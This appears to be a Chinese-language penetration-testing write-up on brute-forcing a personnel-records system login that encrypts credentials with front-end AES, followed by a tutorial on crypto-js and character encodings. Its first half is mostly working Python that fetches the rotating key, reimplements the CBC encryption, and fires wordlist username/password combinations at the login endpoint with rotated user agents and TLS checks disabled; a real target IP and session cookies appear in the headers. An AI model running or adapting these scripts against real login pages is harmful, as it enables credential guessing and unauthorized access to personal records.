前言:HW前期,某集團公司為加強安全建設,進行安全測試項目,滲透過程中發現很多問題,這里不一一記錄。此文僅為記錄針對某處前端AES加密,使用python進行算法實現,最后達到暴力破解的目的
0x01.分析
這是某人員檔案系統的登錄后台

我們查看它的網頁源代碼,發現采用AES前端加密方法(估計是疫情期間臨時緊急搭建的平台)

0x02.設計思路
到/a/k文件中獲取當前時間的加密字符串,作為key值(key每經過30s左右的時間就會更新一次),進入Encrypt函數進行加密
function Encrypt (text,key) {
let encrypted = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(key), {
iv: CryptoJS.enc.Utf8.parse(key), #密碼:key;偏移量iv:key;字符集:utf8
mode: CryptoJS.mode.CBC, #AES加密模式:CBC
padding: CryptoJS.pad.Pkcs7 #填充:pkcs7padding
})
0x03.實現
第一步 請求key值:
import ssl
import urllib.request
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
text = data.read().decode('utf8')
print(text)
第二步 加密過程實現:
import ssl
import urllib.request
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
class AESCipher(object):
def __init__(self, key, mode, **kwargs):
self.key = key
self.mode = mode
self.kwargs = kwargs
def _get_aes(self):
return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)
def encrypt(self, plain_text):
# 選擇pkcs7補全
pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
encrypt_data = self._get_aes().encrypt(pad_pkcs7)
return str(base64.b64encode(encrypt_data), encoding='utf-8')
def main():
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
key = data.read().decode('utf8')
cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
cipher_text = cbc_cipher.encrypt('admin')
print(cipher_text)
if __name__ == '__main__':
main()
第三步 字典自動化加密過程實現
import ssl
import urllib.request
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
class AESCipher(object):
def __init__(self, key, mode, **kwargs):
self.key = key
self.mode = mode
self.kwargs = kwargs
def _get_aes(self):
return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)
def encrypt(self, plain_text):
# 選擇pkcs7補全
pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
encrypt_data = self._get_aes().encrypt(pad_pkcs7)
return str(base64.b64encode(encrypt_data), encoding='utf-8')
def encrypted(password):
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
key = data.read().decode('utf8')
cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
cipher_text = cbc_cipher.encrypt(password)
print(cipher_text)
if __name__ == '__main__':
wordList = open('word.txt','r')
word = wordList.readlines()
for password_list in word:
password = password_list.strip()
encrypted(password)
第四步 構造數據包,發送網絡請求
import ssl
import random
import urllib.request
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import urllib3
class AESCipher(object):
def __init__(self, key, mode, **kwargs):
self.key = key
self.mode = mode
self.kwargs = kwargs
def _get_aes(self):
return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)
def encrypt(self, plain_text):
# 選擇pkcs7補全
pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
encrypt_data = self._get_aes().encrypt(pad_pkcs7)
return str(base64.b64encode(encrypt_data), encoding='utf-8')
def encrypted(a):
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
key = data.read().decode('utf8')
cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
cipher_text = cbc_cipher.encrypt(a)
brute(cipher_text)
# 暴力破解
def brute(value):
proxy = {
"https": "https://127.0.0.1:8080",
}
headers = {'Host': 'xx.xx',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Content-Type':'application/x-www-form-urlencoded',
'Connection': 'close',
'Content-Length': '75',
'Cookie': 'SERVERID=6fc7471579162716fc226f35576678ad|1594108544|1594106534; JSESSIONID=578743B2C805623F9FDAB33F53145798',
'Upgrade-Insecure-Requests':'1'}
values = 'username=%s' % value + '&password=%s' % value
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.post('https://xx.xx/welcome.html', headers=headers, data=values, proxies=proxy,verify=False)
if __name__ == '__main__':
wordList = open('word.txt','r')
word = wordList.readlines()
for password_list in word:
password = password_list.strip()
encrypted(password)
第五步:雙字典cluster bomb模式爆破
import ssl
import random
import urllib.request
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import urllib3
class AESCipher(object):
def __init__(self, key, mode, **kwargs):
self.key = key
self.mode = mode
self.kwargs = kwargs
def _get_aes(self):
return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)
def encrypt(self, plain_text):
# 選擇pkcs7補全
pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
encrypt_data = self._get_aes().encrypt(pad_pkcs7)
return str(base64.b64encode(encrypt_data), encoding='utf-8')
def encrypted(a,b):
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
key = data.read().decode('utf8')
cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
cipher_text1 = cbc_cipher.encrypt(a)
cipher_text2 = cbc_cipher.encrypt(b)
brute(cipher_text1,cipher_text2)
# 暴力破解
def brute(value1,value2):
ua_list = [
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"]
proxy = {
"https": "https://127.0.0.1:8080",
}
ua = random.choice(ua_list)
headers = {'Host': '211.156.195.166',
'User-Agent': ua,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Content-Type':'application/x-www-form-urlencoded',
'Connection': 'close',
'Content-Length': '75',
'Cookie': 'SERVERID=6fc7471579162716fc226f35576678ad|1594108544|1594106534; JSESSIONID=578743B2C805623F9FDAB33F53145798',
'Upgrade-Insecure-Requests':'1'}
data = 'username=%s' % value1 + '&password=%s' % value2
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.post('https://xx.xx/welcome.html', headers=headers, data=data, proxies=proxy,verify=False)
if __name__ == '__main__':
with open('user.txt','r') as userList:
with open('word.txt','r') as passList:
for username in userList.readlines():
for password in passList.readlines():
user = username.strip()
word = password.strip()
encrypted(username,word)
passList.seek(0)
# 記住這里要將文件重新移到文件首,不然就會出現只執行外層循環的第一條,因為內層在迭代之后(readlines()是迭代器的形式,迭代一次后文件指針就指到文件尾了,迭代器也是end了,第二次就沒有password 在 passList中
# 也就是說 for password in passList.readlines():為空,所以這里的內層循環就不會再被執行了,因此也就是迭代器清零的問題(C ++ itertor 常有)
成果截圖:


第六步 線程
:)加不加線程,取決於網站防護,當然,也屬個人愛好,由於手里還有其他項目,這里就不贅述了。
另:Github上有針對前端加密的自動化暴力破解的burp插件jsEncrypter ,感興趣的可以去了解下,個人屬實沒玩明白,不做評價。
0x04.知識介紹
crypto-js AES加密知識
crypto-js 是一個純 javascript 寫的加密算法類庫 ,可以非常方便地在 javascript 進行MD5、SHA1、SHA2、SHA3、RIPEMD-160 哈希散列,進行 AES、DES、Rabbit、RC4、Triple DES 加解密,我們可以采用 npm install crypto-js --save 進行下載安裝,也可以直接去 GitHub下載源碼~
高級加密標准(AES,Advanced Encryption Standard)為最常見的對稱加密算法(微信小程序加密傳輸就是用這個加密算法的)。對稱加密算法也就是加密和解密用相同的密鑰,具體的加密流程如下圖:

值得注意的是密鑰的長度,由於對稱解密使用的算法是 AES-128-CBC算法,數據采用 PKCS#7 填充 , 因此這里的 key 需要為16位!
AES加密算法詳情請參考:https://blog.csdn.net/qq_28205153/article/details/55798628
字符集、字符編碼知識
字符:在計算機和電信技術中,一個字符是一個單位的字形、類字形單位或符號的基本信息。即一個字符可以是一個中文漢字、一個英文字母、一個阿拉伯數字、一個標點符號等。
字符集:多個字符的集合。例如GB2312是中國國家標准的簡體中文字符集,GB2312收錄簡化漢字(6763個)及一般符號、序號、數字、拉丁字母、日文假名、希臘字母、俄文字母、漢語拼音符號、漢語注音字母,共 7445 個圖形字符。
字符編碼:把字符集中的字符編碼為(映射)指定集合中的某一對象(例如:比特模式、自然數序列、電脈沖),以便文本在計算機中存儲和通過通信網絡的傳遞。
字符集和字符編碼的關系 :
字符集是書寫系統字母與符號的集合,而字符編碼則是將字符映射為一特定的字節或字節序列,是一種規則。通常特定的字符集采用特定的編碼方式(即一種字符集對應一種字符編碼(例如:ASCII、IOS-8859-1、GB2312、GBK,都是即表示了字符集又表示了對應的字符編碼,但Unicode不是,它采用現代的模型)),因此基本上可以將兩者視為同義詞。
字符編碼的常用種類介紹

第一種:ASCII碼
ASCII(American Standard Code for Information Interchange,美國信息交換標准代碼)是基於拉丁字母的一套電腦編碼系統,主要用於顯示現代英語和其他西歐語言。它是現今最通用的單字節編碼系統,並等同於國際標准ISO/IEC 646。如下圖所示:

第二種:GBK 和 GB2312
對於我們來說能在計算機中顯示中文字符是至關重要的,然而ASCII表里連一個偏旁部首也沒有。所以我們還需要一張關於中文和數字對應的關系表。一個字節只能最多表示256個字符,要處理中文顯然一個字節是不夠的,所以我們需要采用兩個字節來表示,而且還不能和ASCII編碼沖突,所以,中國制定了GB2312編碼,用來把中文編進去。
第三種:Unicode
但這樣的話,就會出現一個問題,各個國家都一套自己的編碼,就不可避免會有沖突,這是該怎么辦呢?
因此,Unicode應運而生。Unicode把所有語言都統一到一套編碼里,這樣就不會再有亂碼問題了。
Unicode標准也在不斷發展,但最常用的是用兩個字節表示一個字符(如果要用到非常偏僻的字符,就需要4個字節)。現代操作系統和大多數編程語言都直接支持Unicode。
現在,分析一下ASCII編碼和Unicode編碼的區別:
- ASCII編碼是1個字節,而Unicode編碼通常是2個字節。
- 字母A用ASCII編碼是十進制的65,二進制的01000001;
- 字符0用ASCII編碼是十進制的48,二進制的00110000;
- 漢字“中”已經超出了ASCII編碼的范圍,用Unicode編碼是十進制的20013,二進制的01001110 00101101。
- 如果把ASCII編碼的A用Unicode編碼,只需要在前面補0就可以,因此,A的Unicode編碼是00000000 01000001。
- 但如果統一成Unicode編碼,亂碼問題從此消失了。但是,如果你寫的文本基本上全部是英文的話,用Unicode編碼比ASCII編碼需要多一倍的存儲空間,在存儲和傳輸上就十分不划算。
第四種:UTF-8
基於節約的原則,出現了把Unicode編碼轉化為“可變長編碼”的UTF-8編碼。UTF-8編碼把一個Unicode字符根據不同的數字大小編碼成1-6個字節,常用的英文字母被編碼成1個字節,漢字通常是3個字節,只有很生僻的字符才會被編碼成4-6個字節。如果你要傳輸的文本包含大量英文字符,用UTF-8編碼就能節省空間了。如下所示:

從上面的表格還可以發現,UTF-8編碼有一個額外的好處,就是ASCII編碼實際上可以被看成是UTF-8編碼的一部分,所以,大量只支持ASCII編碼的歷史遺留軟件可以在UTF-8編碼下繼續工作。
我們總結一下現在計算機系統通用的字符編碼工作方式:
在計算機內存中,統一使用Unicode編碼,當需要保存到硬盤或者需要傳輸的時候,就轉換為UTF-8編碼。
用記事本編輯的時候,從文件讀取的UTF-8字符被轉換為Unicode字符到內存里,編輯完成后,保存的時候再把Unicode轉換為UTF-8保存到文件。如下圖:

0x05.說明
文章是寫代碼之余做筆記來的,略顯簡略粗糙。代碼不夠精簡之處,請各位python巨佬多多指教,評論區多多留言,拜謝!
Reference
https://blog.csdn.net/qq_28205153/article/details/55798628
https://ww.pythontab.com/html/2013/pythonhexinbiancheng_1218/631.html
